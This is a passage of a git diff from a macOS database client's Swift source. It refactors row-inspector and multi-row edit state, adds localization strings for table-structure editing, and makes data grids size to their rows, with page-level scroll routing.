+        case .checkConstraints: String(format: String(localized: "Check Constraint of %@"), table)
+        }
+    }
 }
diff --git a/apple/TablePro/Models/UI/MultiRowEditState.swift b/apple/TablePro/Models/UI/MultiRowEditState.swift
index 294d697f48..b4c2c95517 100644
--- a/apple/TablePro/Models/UI/MultiRowEditState.swift
+++ b/apple/TablePro/Models/UI/MultiRowEditState.swift
@@ -21,15 +21,9 @@ struct FieldEditState: Identifiable {
     var isPrimaryKey: Bool = false
     var isForeignKey: Bool = false
 
-    // Set when the owning grid dictates the editor instead of the column type.
-    var editor: FieldEditorKind?
-
     // Resolved once: it costs a JSONSerialization and a PHP-serialized parse, and view bodies re-parsed it on every hover.
     var resolvedEditor: FieldEditorKind?
 
-    // A schema field has no data type, so it offers no type badge and no NULL or DEFAULT state.
-    var isSchemaField: Bool = false
-
     // Shown without an editor: refusing the edit further down left a pending value here that Save never writes.
     var isServerOwned: Bool = false
 
@@ -46,7 +40,7 @@ struct FieldEditState: Identifiable {
 
     var declaredType: String?
 
-    // Recorded by the grid owning a schema row, or the change manager for rows that disagree, which no pending value can hold.
+    // Recorded by the change manager for rows that disagree, which no pending value can hold.
     var hasCommittedEdit: Bool = false
 
     var originalValue: String?
@@ -124,8 +118,6 @@ final class MultiRowEditState: ObservableObject {
 
     // The rows an edit is staged against, captured when the selection was configured, never a display position.
     @Published private(set) var rowIDs: [RowID] = []
-    // The schema row the fields came from, for a grid whose rows have no identity.
-    private var schemaDisplayRow: Int?
 
     @Published private(set) var allRows: [[String?]] = []
     // Per row of allRows: the columns it has no field for.
@@ -177,9 +169,8 @@ final class MultiRowEditState: ObservableObject {
         cellWriter: CellWriterSupport = .none
     ) {
         let columnsChanged = self.columns != columns
-        let selectionChanged = self.rowIDs != rowIDs || schemaDisplayRow != nil
+        let selectionChanged = self.rowIDs != rowIDs
 
-        schemaDisplayRow = nil
         self.rowIDs = rowIDs
         self.allRows = allRows
         self.absentCells = absentCells
@@ -332,7 +323,7 @@ final class MultiRowEditState: ObservableObject {
         let reveals = AppSettingsManager.shared.dataGrid.showInvisibleCharacters
         guard reveals != revealsInvisibleCharacters else { return }
         revealsInvisibleCharacters = reveals
-        for index in fields.indices where !fields[index].isSchemaField && fields[index].editor == nil {
+        for index in fields.indices {
             let field = fields[index]
             let resolved = FieldEditorResolver.resolve(
                 for: field.columnTypeEnum,
@@ -348,54 +339,6 @@ final class MultiRowEditState: ObservableObject {
         }
     }
 
-    // Field ids survive a reconfigure of the same row so a commit does not rebuild the editors and drop focus.
-    func configure(schemaFields: [InspectorRowField], displayRow: Int) {
-        let names = schemaFields.map(\.name)
-        let reusedIds = schemaDisplayRow == displayRow && columns == names ? fields.map(\.id) : []
-
-        schemaDisplayRow = displayRow
-        rowIDs = []
-        absentCells = []
-        unloadedCells = []
-        expressionCells = []
-        databaseType = nil
-        cellWriter = .none
-        rowsAreInserted = false
-        columns = names
-        columnTypes = Array(repeating: .text(rawType: nil), count: names.count)
-        allRows = [schemaFields.map(\.value)]
-
-        fields = schemaFields.enumerated().map { index, field in
-            var state = FieldEditState(
-                columnIndex: index,
-                columnName: field.name,
-                columnTypeEnum: .text(rawType: nil),
-                isLongText: false,
-                isJson: false,
-                editor: field.editor,
-                isSchemaField: true,
-                hasCommittedEdit: field.isModified,
-                originalValue: field.value,
-                hasMultipleValues: false,
-                pendingValue: nil,
-                isPendingNull: false,
-                isPendingDefault: false
-            )
-            if index < reusedIds.count {
-                state.id = reusedIds[index]
-            }
-            if field.editor == nil {
-                state.resolvedEditor = FieldEditorResolver.resolve(
-                    for: .text(rawType: nil),
-                    isLongText: false,
-                    originalValue: field.value
-                )
-            }
-            state.isServerOwned = !field.isEditable
-            return state
-        }
-    }
-
     // Read from the store, not a copy an earlier render captured; a field's value binding answers with this.
     func currentText(at index: Int) -> String {
         guard fields.indices.contains(index) else { return "" }
@@ -408,7 +351,7 @@ final class MultiRowEditState: ObservableObject {
     }
 
     func setValueContext(for field: FieldEditState, isWritable: Bool) -> SetValueContext? {
-        guard let databaseType, !field.isSchemaField else { return nil }
+        guard let databaseType else { return nil }
         return SetValueContext(
             columnType: field.columnTypeEnum,
             isNullable: field.isNullable,
@@ -647,7 +590,6 @@ final class MultiRowEditState: ObservableObject {
         onFieldReverted = nil
         onFieldRemoved = nil
         onDetachedFieldChanged = nil
-        schemaDisplayRow = nil
         rowIDs = []
         allRows = []
         absentCells = []
diff --git a/apple/TablePro/Models/UI/PendingChangeKind.swift b/apple/TablePro/Models/UI/PendingChangeKind.swift
index df375dd97d..93e2626fc7 100644
--- a/apple/TablePro/Models/UI/PendingChangeKind.swift
+++ b/apple/TablePro/Models/UI/PendingChangeKind.swift
@@ -5,17 +5,8 @@
 
 import Foundation
 
-/// What the window's Save command would commit, which is also whether it can commit at all.
-///
-/// One value rather than five booleans read in five places. `updateToolbarPendingState()` folded
-/// four of the five sources into `hasPendingChanges` and never read the fifth, so a Users & Roles
-/// tab with staged principals left both the toolbar's commit button and Cmd+S dim while
-/// `saveChanges()` already carried the branch that would have applied them.
-///
-/// The tab decides the kind, because two kinds can be staged at once and only one of them is the
-/// one the user is looking at. It decides nothing the user reads: the commit control's label is
-/// `ToolbarContextResolver.commitVerb(for:)`, from the tab kind alone, because this value comes and
-/// goes with every edit and a label that followed it moved the titlebar while the user typed.
+// What the window's Save would commit, and whether it can commit at all. The tab decides the kind, since two kinds
+// can be staged at once; the commit label comes from the tab kind alone, so it does not move while the user types.
 internal enum PendingChangeKind: Equatable, Hashable, Sendable {
     case data
     case structure
@@ -23,7 +14,7 @@ internal enum PendingChangeKind: Equatable, Hashable, Sendable {
     case principals
     case file
 
-    /// Nil when nothing is staged for this tab, which is what leaves the commit control dim.
+    // Nil when nothing is staged for this tab, which leaves the commit control dim.
     internal static func resolve(
         tabType: TabType?,
         hasDataChanges: Bool,
@@ -41,8 +32,7 @@ internal enum PendingChangeKind: Equatable, Hashable, Sendable {
         }
         switch tabType {
         case .createTable:
-            /// A definition that is not yet committable is not a pending change: the tab's own
-            /// validity gate is what `hasCreateTablePending` already answers.
+            // A definition that is not yet committable is not a pending change.
             return hasCreateTablePending ? .createTable : nil
         case .usersRoles:
             return hasPrincipalChanges ? .principals : nil
@@ -56,8 +46,24 @@ internal enum PendingChangeKind: Equatable, Hashable, Sendable {
         }
     }
 
-    /// Structure outranks data, and data outranks a dirty file, because a structure edit rewrites
-    /// the table the staged rows are going into and has to be named first.
+    // Narrower than the commit: a dirty file and staged principals have no SQL to show, and a structure session
+    // previews only from its own Structure view, so staged ALTERs behind the Data view leave Preview with nothing.
+    internal static func offersPreview(
+        of kind: PendingChangeKind?,
+        hasDataChanges: Bool,
+        previewsSchemaChanges: Bool
+    ) -> Bool {
+        switch kind {
+        case .data, .createTable:
+            return true
+        case .structure:
+            return hasDataChanges || previewsSchemaChanges
+        case .principals, .file, nil:
+            return false
+        }
+    }
+
+    // A structure edit rewrites the table the staged rows go into, so it is named before data, and data before a file.
     private static func contentKind(
         hasDataChanges: Bool,
         hasStructureChanges: Bool,
diff --git a/apple/TablePro/Models/UI/RowInspectorContext.swift b/apple/TablePro/Models/UI/RowInspectorContext.swift
index 7a1eb23bd1..8ebe1f73d2 100644
--- a/apple/TablePro/Models/UI/RowInspectorContext.swift
+++ b/apple/TablePro/Models/UI/RowInspectorContext.swift
@@ -5,41 +5,25 @@
 
 import Foundation
 
-/// Everything the inspector draws, and nothing else.
-///
-/// This used to be one `InspectorContext` carrying the row, the JSON snapshot and a ten-row text
-/// summary of the grid for the assistant, so a selection change rebuilt the assistant's context and
-/// an assistant change rebuilt the row's. Splitting them along the surfaces that read them is what
-/// lets each be `Equatable`: the old struct held an untyped `[(column:value:type:)]` tuple array,
-/// which no equality could be written for, so every rebuild was a change whether or not anything
-/// had moved.
-///
-/// The fields themselves are not here. They live in `MultiRowEditState`, which both the data grid
-/// and the schema grid already configure, and duplicating them into a second array is what made the
-/// old tuple path dead computation: it ran the display-format and blob-format pipeline over every
-/// cell on every tick and the view read only whether it was nil.
+// Everything the inspector draws. The assistant's context is separate, so a selection change never rebuilds it.
+// The row's fields are not here: they live in `MultiRowEditState`.
 internal struct RowInspectorContext: Equatable {
     internal let subject: InspectorSubject
 
-    /// Whether a row is selected at all, which the mode choice turns on. Separate from the subject
-    /// because a subject exists for a table with no row selected.
+    // Separate from the subject: a subject exists for a table with no row selected.
     internal let hasRow: Bool
 
     internal let isEditable: Bool
     internal let isRowDeleted: Bool
 
-    /// Present only on a tab that actually has a table. The old context handed over the
-    /// coordinator's one metadata slot unconditionally, latest-wins and cleared only on teardown, so
-    /// a query tab, a dashboard or an ER diagram showed the statistics of whichever table had been
-    /// opened last, including after its tab was closed.
+    // Only on a tab that has a table, so a query tab never shows the statistics of the last table opened.
     internal let tableMetadata: TableMetadata?
 
-    /// The same row the fields mode shows, as raw cell values, because the JSON mode decides from
-    /// the column's own type whether a value prints quoted.
+    // Raw cell values, because the JSON rendering quotes a value by its column's own type.
     internal let jsonRow: JSONRowSnapshot?
 
-    /// The table a structure row's type picker offers user-defined types for. Nil outside one.
-    internal let userDefinedTypeScope: DatabaseScope?
+    // Set while a Structure view or a Create Table tab is on screen; the inspector then edits its definitions.
+    internal var structure: StructureInspectorSource?
 
     internal static let empty = RowInspectorContext(
         subject: .empty,
@@ -48,14 +32,25 @@ internal struct RowInspectorContext: Equatable {
         isRowDeleted: false,
         tableMetadata: nil,
         jsonRow: nil,
-        userDefinedTypeScope: nil
+        structure: nil
     )
 }
 
-/// What the assistant needs to know about the window it is docked in.
-///
-/// Kept apart from the row context so that moving the selection does not rebuild it, and so that a
-/// window whose assistant was never revealed never pays for the grid summary at all.
+// The structure editor on screen, compared by identity. The inspector observes the editor itself, so a selection
+// or an edit redraws it without a new context.
+internal enum StructureInspectorSource: Equatable {
+    case table(StructureEditingSession)
+    case createTable(CreateTableDraft)
+
+    internal static func == (lhs: StructureInspectorSource, rhs: StructureInspectorSource) -> Bool {
+        switch (lhs, rhs) {
+        case (.table(let left), .table(let right)): left === right
+        case (.createTable(let left), .createTable(let right)): left === right
+        default: false
+        }
+    }
+}
+
 internal struct AssistantContext: Equatable {
     internal let currentQuery: String?
     internal let queryResults: String?
diff --git a/apple/TablePro/Resources/Localizable.xcstrings b/apple/TablePro/Resources/Localizable.xcstrings
index faf51f7f82..f9c6cadf13 100644
--- a/apple/TablePro/Resources/Localizable.xcstrings
+++ b/apple/TablePro/Resources/Localizable.xcstrings
@@ -455,6 +455,9 @@
     },
     "No foreign key links %@ to the tables before it, so it is cross joined." : {
 
+    },
+    "No Foreign Keys" : {
+
     },
     "No row holds the values it was loaded with. Another client may have changed or deleted it." : {
 
@@ -699,6 +702,9 @@
     },
     "The changes were saved, but the type could not be read back. Reload before editing it again." : {
 
+    },
+    "The changes you have not saved will be lost." : {
+
     },
     "The client certificate and key could not be written to a temporary file." : {
       "extractionState" : "manual",
@@ -997,6 +1003,9 @@
           }
         }
       }
+    },
+    "-- Error generating SQL: %@" : {
+
     },
     "-- Once the rows are in" : {
       "localizations" : {
@@ -4039,6 +4048,9 @@
           }
         }
       }
+    },
+    "%@ DDL" : {
+
     },
     "%@ does not accept this column change." : {
       "localizations" : {
@@ -9387,9 +9399,15 @@
           }
         }
       }
+    },
+    "%d changes to this table's structure will be lost." : {
+
     },
     "%d characters" : {
 
+    },
+    "%d Check Constraints Selected" : {
+
     },
     "%d columns" : {
       "localizations" : {
@@ -9430,6 +9448,9 @@
           }
         }
       }
+    },
+    "%d Columns Selected" : {
+
     },
     "%d connected" : {
       "localizations" : {
@@ -9876,6 +9897,9 @@
           }
         }
       }
+    },
+    "%d Foreign Keys Selected" : {
+
     },
     "%d included" : {
       "localizations" : {
@@ -9916,6 +9940,9 @@
           }
         }
       }
+    },
+    "%d Indexes Selected" : {
+
     },
     "%d item(s) affected" : {
       "extractionState" : "manual",
@@ -19973,6 +20000,9 @@
           }
         }
       }
+    },
+    "Add check constraint “%@”" : {
+
     },
     "Add Column" : {
       "localizations" : {
@@ -20013,6 +20043,9 @@
           }
         }
       }
+    },
+    "Add column “%@”" : {
+
     },
     "Add Column…" : {
       "localizations" : {
@@ -20496,6 +20529,9 @@
           }
         }
       }
+    },
+    "Add foreign key “%@”" : {
+
     },
     "Add Global Index" : {
       "extractionState" : "manual",
@@ -20590,6 +20626,9 @@
           }
         }
       }
+    },
+    "Add index “%@”" : {
+
     },
     "Add indexes to improve query performance on frequently searched columns" : {
       "localizations" : {
@@ -25520,6 +25559,9 @@
           }
         }
       }
+    },
+    "Another check constraint is already named %@." : {
+
     },
     "Another column is already named %@." : {
       "localizations" : {
@@ -35750,6 +35792,32 @@
         }
       }
     },
+    "Change check constraint “%@”" : {
+
+    },
+    "Change check constraint “%@” to “%@”" : {
+      "localizations" : {
+        "en" : {
+          "stringUnit" : {
+            "state" : "new",
+            "value" : "Change check constraint “%1$@” to “%2$@”"
+          }
+        }
+      }
+    },
+    "Change column “%@”" : {
+
+    },
+    "Change column “%@” to “%@”" : {
+      "localizations" : {
+        "en" : {
+          "stringUnit" : {
+            "state" : "new",
+            "value" : "Change column “%1$@” to “%2$@”"
+          }
+        }
+      }
+    },
     "Change File" : {
       "extractionState" : "stale",
       "localizations" : {
@@ -35831,6 +35899,19 @@
         }
       }
     },
+    "Change foreign key “%@”" : {
+
+    },
+    "Change foreign key “%@” to “%@”" : {
+      "localizations" : {
+        "en" : {
+          "stringUnit" : {
+            "state" : "new",
+            "value" : "Change foreign key “%1$@” to “%2$@”"
+          }
+        }
+      }
+    },
     "Change Host to a name the certificate covers." : {
       "extractionState" : "manual",
       "generatesSymbol" : false,
@@ -35843,6 +35924,19 @@
         }
       }
     },
+    "Change index “%@”" : {
+
+    },
+    "Change index “%@” to “%@”" : {
+      "localizations" : {
+        "en" : {
+          "stringUnit" : {
+            "state" : "new",
+            "value" : "Change index “%1$@” to “%2$@”"
+          }
+        }
+      }
+    },
     "Change Not Saved" : {
       "localizations" : {
         "fr" : {
@@ -36092,6 +36186,9 @@
           }
         }
       }
+    },
+    "Change the table comment" : {
+
     },
     "Change this in Settings > Integrations." : {
       "extractionState" : "stale",
@@ -37177,6 +37274,9 @@
           }
         }
       }
+    },
+    "Check Constraint" : {
+
     },
     "Check constraint must have a name and an expression" : {
       "localizations" : {
@@ -37187,6 +37287,12 @@
           }
         }
       }
+    },
+    "Check Constraint of %@" : {
+
+    },
+    "Check Constraints" : {
+
     },
     "Check constraints need %@ or later." : {
       "extractionState" : "manual",
@@ -50210,6 +50316,9 @@
           }
         }
       }
+    },
+    "Convert the table to %@" : {
+
     },
     "Converting the table's character set rewrites every text column and loses characters the new one cannot hold." : {
 
@@ -54912,6 +55021,9 @@
     },
     "Couldn't read the character sets" : {
 
+    },
+    "Couldn't Read the DDL" : {
+
     },
     "Couldn't read the referenced table" : {
       "localizations" : {
@@ -54931,6 +55043,9 @@
     },
     "Couldn't read the table options" : {
 
+    },
+    "Couldn't Read the Triggers" : {
+
     },
     "Couldn't Refresh Materialized View" : {
       "localizations" : {
@@ -56038,6 +56153,9 @@
           }
         }
       }
+    },
+    "Create Table cannot add a check constraint on this database." : {
+
     },
     "Create Table cannot add an index on this database." : {
       "localizations" : {
@@ -60872,6 +60990,9 @@
           }
         }
       }
+    },
+    "Decrease Font Size" : {
+
     },
     "Decrypt" : {
       "localizations" : {
@@ -62152,6 +62273,9 @@
           }
         }
       }
+    },
+    "Delete check constraint “%@”" : {
+
     },
     "Delete Column" : {
       "localizations" : {
@@ -62192,6 +62316,9 @@
           }
         }
       }
+    },
+    "Delete column “%@”" : {
+
     },
     "Delete Columns" : {
       "localizations" : {
@@ -62465,6 +62592,9 @@
           }
         }
       }
+    },
+    "Delete foreign key “%@”" : {
+
     },
     "Delete Group" : {
       "localizations" : {
@@ -62555,6 +62685,9 @@
           }
         }
       }
+    },
+    "Delete index “%@”" : {
+
     },
     "Delete is off by default, so a first run cannot remove a row from the target." : {
       "localizations" : {
@@ -84442,6 +84575,9 @@
           }
         }
       }
+    },
+    "Foreign Key" : {
+
     },
     "Foreign key %@ matches %@ on the target but the names differ." : {
       "localizations" : {
@@ -84502,6 +84638,9 @@
           }
         }
       }
+    },
+    "Foreign Key of %@" : {
+
     },
     "Foreign key points at a column that does not exist: %@" : {
       "localizations" : {
@@ -93548,6 +93687,9 @@
           }
         }
       }
+    },
+    "Increase Font Size" : {
+
     },
     "Increment" : {
 
@@ -93763,6 +93905,9 @@
           }
         }
       }
+    },
+    "Index of %@" : {
+
     },
     "Index proposal on %@" : {
       "localizations" : {
@@ -106717,6 +106862,9 @@
           }
         }
       }
+    },
+    "Marked for deletion. Undo or Undo Delete brings it back." : {
+
     },
     "Match" : {
       "localizations" : {
@@ -113381,6 +113529,12 @@
           }
         }
       }
+    },
+    "New Check Constraint" : {
+
+    },
+    "New Column" : {
+
     },
     "New Connection" : {
       "localizations" : {
@@ -113764,6 +113918,9 @@
           }
         }
       }
+    },
+    "New Foreign Key" : {
+
     },
     "New Group" : {
       "localizations" : {
@@ -113859,6 +114016,9 @@
           }
         }
       }
+    },
+    "New Index" : {
+
     },
     "New Jump Host" : {
       "localizations" : {
@@ -115473,6 +115633,9 @@
           }
         }
       }
+    },
+    "No Columns" : {
+
     },
     "No Columns Defined" : {
       "localizations" : {
@@ -116456,6 +116619,9 @@
           }
         }
       }
+    },
+    "No DDL Available" : {
+
     },
     "No DDL found for %@." : {
       "extractionState" : "manual",
@@ -117073,6 +117239,9 @@
           }
         }
       }
+    },
+    "No Indexes" : {
+
     },
     "No Indexes Defined" : {
       "localizations" : {
@@ -144607,6 +144776,9 @@
           }
         }
       }
+    },
+    "Refreshing reads the table structure again and discards the changes you have not saved." : {
+
     },
     "Refreshing will discard all unsaved changes." : {
       "localizations" : {
@@ -146799,6 +146971,9 @@
           }
         }
       }
+    },
+    "Remove the primary key" : {
+
     },
     "Remove the second entry." : {
       "extractionState" : "manual",
@@ -154727,6 +154902,9 @@
           }
         }
       }
+    },
+    "Safe Mode is read-only for this connection." : {
+
     },
     "Safe mode level" : {
       "localizations" : {
@@ -159750,6 +159928,9 @@
     },
     "Select a column" : {
 
+    },
+    "Select a definition to edit it" : {
+
     },
     "Select a dump file this engine's own tool wrote." : {
       "localizations" : {
@@ -160484,6 +160665,9 @@
           }
         }
       }
+    },
+    "Select one to edit it" : {
+
     },
     "Select Plugin" : {
       "localizations" : {
@@ -162967,6 +163151,15 @@
           }
         }
       }
+    },
+    "Set the next AUTO_INCREMENT value to %@" : {
+
+    },
+    "Set the primary key to %@" : {
+
+    },
+    "Set the table's default character set to %@" : {
+
     },
     "Set to NULL" : {
       "localizations" : {
@@ -183718,6 +183911,9 @@
           }
         }
       }
+    },
+    "The change to this table's structure will be lost." : {
+
     },
     "The changes were edited while the save was checking other tables. Save again to include them." : {
 
@@ -191621,6 +191817,9 @@
           }
         }
       }
+    },
+    "The table is being read again after the save." : {
+
     },
     "The table is no longer reachable." : {
       "localizations" : {
@@ -193791,6 +193990,12 @@
           }
         }
       }
+    },
+    "This check constraint needs a name." : {
+
+    },
+    "This check constraint needs an expression." : {
+
     },
     "This client does not have access to that connection." : {
       "localizations" : {
diff --git a/apple/TablePro/Views/DataFiles/DataFileRowDetailsView.swift b/apple/TablePro/Views/DataFiles/DataFileRowDetailsView.swift
index f7d8bc992e..20ae8e73fa 100644
--- a/apple/TablePro/Views/DataFiles/DataFileRowDetailsView.swift
+++ b/apple/TablePro/Views/DataFiles/DataFileRowDetailsView.swift
@@ -31,7 +31,6 @@ struct DataFileRowDetailsView: View {
                     editState: editState,
                     isEditable: controller.isEditable && !controller.isBusy,
                     databaseType: Self.databaseType,
-                    userDefinedTypeScope: nil,
                     offersDatabaseValues: false
                 )
             }
diff --git a/apple/TablePro/Views/DataGrid/Cells/DataGridCellContent.swift b/apple/TablePro/Views/DataGrid/Cells/DataGridCellContent.swift
index be6494909c..b32be5c107 100644
--- a/apple/TablePro/Views/DataGrid/Cells/DataGridCellContent.swift
+++ b/apple/TablePro/Views/DataGrid/Cells/DataGridCellContent.swift
@@ -23,7 +23,8 @@ struct DataGridCellContent {
     static func placeholder(
         for rawValue: PluginCellValue,
         isAbsent: Bool = false,
-        unloadedByteCount: Int? = nil
+        unloadedByteCount: Int? = nil,
+        marksEmptyText: Bool = true
     ) -> DataGridCellPlaceholder? {
         if let unloadedByteCount { return .unloaded(byteCount: unloadedByteCount) }
         guard !isAbsent else { return .absent }
@@ -32,7 +33,7 @@ struct DataGridCellContent {
             return .null
         case .text(let value):
             if value == PluginCellValue.defaultMarkerText { return .defaultMarker }
-            return value.isEmpty ? .empty : nil
+            return value.isEmpty && marksEmptyText ? .empty : nil
         case .bytes:
             return nil
         }
diff --git a/apple/TablePro/Views/DataGrid/Cells/DataGridCellPresenter.swift b/apple/TablePro/Views/DataGrid/Cells/DataGridCellPresenter.swift
index 4db4c80598..8f7745aac0 100644
--- a/apple/TablePro/Views/DataGrid/Cells/DataGridCellPresenter.swift
+++ b/apple/TablePro/Views/DataGrid/Cells/DataGridCellPresenter.swift
@@ -16,6 +16,7 @@ final class DataGridCellPresenter {
         let findMatch: GridFindState.Match?
         let isEditable: Bool
         let checkboxColumns: Set<Int>
+        let marksEmptyText: Bool
         let palette: DataGridCellPalette
         let scope: ThemeScope
         let databaseType: DatabaseType?
@@ -55,6 +56,7 @@ final class DataGridCellPresenter {
             findMatch: model.find.currentMatch,
             isEditable: model.configuration.isEditable,
             checkboxColumns: model.configuration.checkboxColumns,
+            marksEmptyText: model.configuration.marksEmptyText,
             palette: registry.palette,
             scope: model.themeScope,
             databaseType: model.configuration.traits.databaseType,
@@ -248,7 +250,8 @@ final class DataGridCellPresenter {
                 placeholder: DataGridCellContent.placeholder(
                     for: rawValue,
                     isAbsent: row.isAbsent(dataIndex),
-                    unloadedByteCount: row.unloadedByteCount(dataIndex)
+                    unloadedByteCount: row.unloadedByteCount(dataIndex),
+                    marksEmptyText: pass.marksEmptyText
                 )
             ),
             state: DataGridCellState(
@@ -294,7 +297,8 @@ final class DataGridCellPresenter {
         switch DataGridCellContent.placeholder(
             for: rawValue,
             isAbsent: row.isAbsent(dataIndex),
-            unloadedByteCount: row.unloadedByteCount(dataIndex)
+            unloadedByteCount: row.unloadedByteCount(dataIndex),
+            marksEmptyText: model.configuration.marksEmptyText
         ) {
         case .null: return String(localized: "NULL")
         case .empty: return String(localized: "Empty")
diff --git a/apple/TablePro/Views/DataGrid/Cells/DataGridMetrics.swift b/apple/TablePro/Views/DataGrid/Cells/DataGridMetrics.swift
index 05091ede89..54adc3e2e6 100644
--- a/apple/TablePro/Views/DataGrid/Cells/DataGridMetrics.swift
+++ b/apple/TablePro/Views/DataGrid/Cells/DataGridMetrics.swift
@@ -21,4 +21,14 @@ enum DataGridMetrics {
     static func rowHeight(_ setting: DataGridRowHeight, font: NSFont) -> CGFloat {
         max(CGFloat(setting.rawValue), (font.ascender - font.descender + font.leading).rounded(.up))
     }
+
+    // An overlay scroller floats over the last row, so only a legacy one adds height.
+    static func fittingHeight(
+        headerHeight: CGFloat,
+        rowCount: Int,
+        rowPitch: CGFloat,
+        horizontalScrollerHeight: CGFloat
+    ) -> CGFloat {
+        headerHeight + CGFloat(max(rowCount, 0)) * rowPitch + horizontalScrollerHeight
+    }
 }
diff --git a/apple/TablePro/Views/DataGrid/DataGridContainerView.swift b/apple/TablePro/Views/DataGrid/DataGridContainerView.swift
index 836a407943..a7aa4aa40f 100644
--- a/apple/TablePro/Views/DataGrid/DataGridContainerView.swift
+++ b/apple/TablePro/Views/DataGrid/DataGridContainerView.swift
@@ -17,6 +17,15 @@ final class DataGridContainerView: NSView {
     private var firstResponderObservation: NSKeyValueObservation?
     private var windowObservers: [NSObjectProtocol] = []
     private var scrollObservers: [NSObjectProtocol] = []
+    private var pageScrollObserver: NSObjectProtocol?
+
+    // A grid sized to its rows moves only with its page, so the page's scroll stands in for its own.
+    var followsPageScroll = false {
+        didSet {
+            guard followsPageScroll != oldValue else { return }
+            observePageScroll()
+        }
+    }
 
     var frozenPaneWidth: CGFloat = 0 {
         didSet {
@@ -33,7 +42,10 @@ final class DataGridContainerView: NSView {
         addSubview(frozen.scrollView)
         frozen.scrollView.isHidden = true
         frozen.scrollView.wheelTarget = main.scrollView
-        main.scrollView.onTile = { [weak self] in self?.layoutFrozenPane() }
+        main.scrollView.onTile = { [weak self] in
+            self?.layoutFrozenPane()
+            self?.controller?.updateFittingHeight()
+        }
         observeScrolling()
     }
 
@@ -127,9 +139,25 @@ final class DataGridContainerView: NSView {
         isSyncingScroll = false
     }
 
+    private func observePageScroll() {
+        if let pageScrollObserver {
+            NotificationCenter.default.removeObserver(pageScrollObserver)
+        }
+        pageScrollObserver = nil
+        guard followsPageScroll, window != nil, let clip = enclosingScrollView?.contentView else { return }
+        pageScrollObserver = NotificationCenter.default.addObserver(
+            forName: NSView.boundsDidChangeNotification,
+            object: clip,
+            queue: .main
+        ) { [weak self] _ in
+            MainActor.assumeIsolated { self?.controller?.mainViewportDidMove() }
+        }
+    }
+
     func tearDown() {
         scrollObservers.forEach(NotificationCenter.default.removeObserver)
         scrollObservers.removeAll()
+        followsPageScroll = false
         stopObservingWindow()
     }
 
@@ -138,6 +166,7 @@ final class DataGridContainerView: NSView {
     override func viewDidMoveToWindow() {
         super.viewDidMoveToWindow()
         stopObservingWindow()
+        observePageScroll()
         guard let window else {
             refreshFocus()
             return
diff --git a/apple/TablePro/Views/DataGrid/DataGridScrollView.swift b/apple/TablePro/Views/DataGrid/DataGridScrollView.swift
index 99afcdf289..ec8e8cee6c 100644
--- a/apple/TablePro/Views/DataGrid/DataGridScrollView.swift
+++ b/apple/TablePro/Views/DataGrid/DataGridScrollView.swift
@@ -11,6 +11,16 @@ final class DataGridScrollView: NSScrollView {
     var onTile: (() -> Void)?
     // The frozen pane hands every wheel event to the main pane, so one momentum engine moves both.
     weak var wheelTarget: NSScrollView?
+    private var wheelRouting = DataGridWheelRouting()
+
+    // The page the grid sits in scrolls vertically for it, so the main pane keeps only its sideways scroll.
+    var fitsRows = false {
+        didSet {
+            guard fitsRows != oldValue, paneKind == .main else { return }
+            hasVerticalScroller = !fitsRows
+            verticalScrollElasticity = fitsRows ? .none : .automatic
+        }
+    }
 
     init(kind: DataGridPane.Kind) {
         paneKind = kind
@@ -43,11 +53,23 @@ final class DataGridScrollView: NSScrollView {
     }
 
     override func scrollWheel(with event: NSEvent) {
-        guard let wheelTarget else {
-            super.scrollWheel(with: event)
+        if let wheelTarget {
+            wheelTarget.scrollWheel(with: event)
             return
         }
-        wheelTarget.scrollWheel(with: event)
+        if fitsRows, let page = superview?.enclosingScrollView {
+            let axis = wheelRouting.axis(
+                phase: event.phase,
+                momentumPhase: event.momentumPhase,
+                deltaX: event.scrollingDeltaX,
+                deltaY: event.scrollingDeltaY
+            )
+            if axis == .vertical {
+                page.scrollWheel(with: event)
+                return
+            }
+        }
+        super.scrollWheel(with: event)
     }
 
     // The frozen pane repeats cells the main table already publishes, so VoiceOver sees one table.
@@ -61,3 +83,32 @@ final class DataGridScrollView: NSScrollView {
         return scroller.frame.height
     }
 }
+
+// One axis per trackpad gesture, momentum included, so a swipe never splits between the grid and its page.
+// A wheel with no phases is a mouse, and each notch decides alone.
+struct DataGridWheelRouting {
+    enum Axis {
+        case vertical
+        case horizontal
+    }
+
+    private var gestureAxis: Axis?
+
+    mutating func axis(phase: NSEvent.Phase, momentumPhase: NSEvent.Phase, deltaX: CGFloat, deltaY: CGFloat) -> Axis {
+        if phase.isEmpty, momentumPhase.isEmpty {
+            return Self.axis(deltaX: deltaX, deltaY: deltaY) ?? .vertical
+        }
+        if phase.contains(.began) || phase.contains(.mayBegin) {
+            gestureAxis = Self.axis(deltaX: deltaX, deltaY: deltaY)
+        } else if gestureAxis == nil, !phase.isEmpty {
+            // A gesture can begin with no movement; its first move decides.
+            gestureAxis = Self.axis(deltaX: deltaX, deltaY: deltaY)
+        }
+        return gestureAxis ?? .vertical
+    }
+
+    static func axis(deltaX: CGFloat, deltaY: CGFloat) -> Axis? {
+        guard deltaX != 0 || deltaY != 0 else { return nil }
+        return abs(deltaY) >= abs(deltaX) ? .vertical : .horizontal
+    }
+}
diff --git a/apple/TablePro/Views/DataGrid/DataGridTableView.swift b/apple/TablePro/Views/DataGrid/DataGridTableView.swift
index d1edf45a3e..618010def0 100644
--- a/apple/TablePro/Views/DataGrid/DataGridTableView.swift
+++ b/apple/TablePro/Views/DataGrid/DataGridTableView.swift
@@ -51,7 +51,22 @@ final class DataGridTableView: NSTableView {
     // A revealed column must never park under the frozen pane, so the rect widens leftward by its width.
     override func scrollToVisible(_ rect: NSRect) -> Bool {
         guard paneKind == .main, let controller else { return super.scrollToVisible(rect) }
-        return super.scrollToVisible(controller.revealRect(for: rect, in: self))
+        let widened = controller.revealRect(for: rect, in: self)
+        guard controller.model.configuration.fitsRows else { return super.scrollToVisible(widened) }
+        // Only sideways. AppKit calls this itself while the pane resizes, with rects spanning the header, so the page
+        // moves only for a reveal the grid starts (`scrollRowToVisible`, `reveal(row:displayColumn:)`).
+        let visible = visibleRect
+        return super.scrollToVisible(NSRect(x: widened.minX, y: visible.midY, width: widened.width, height: 1))
+    }
+
+    // Up, Down and type-select reveal through here; a table that fits its rows has nothing to scroll, so the page moves.
+    override func scrollRowToVisible(_ row: Int) {
+        guard paneKind == .main, let controller, controller.model.configuration.fitsRows else {
+            super.scrollRowToVisible(row)
+            return
+        }
+        guard row >= 0, row < numberOfRows else { return }
+        controller.revealOnPage(rect(ofRow: row))
     }
 
     // MARK: - Keyboard
diff --git a/apple/TablePro/Views/DataGrid/DataGridView.swift b/apple/TablePro/Views/DataGrid/DataGridView.swift
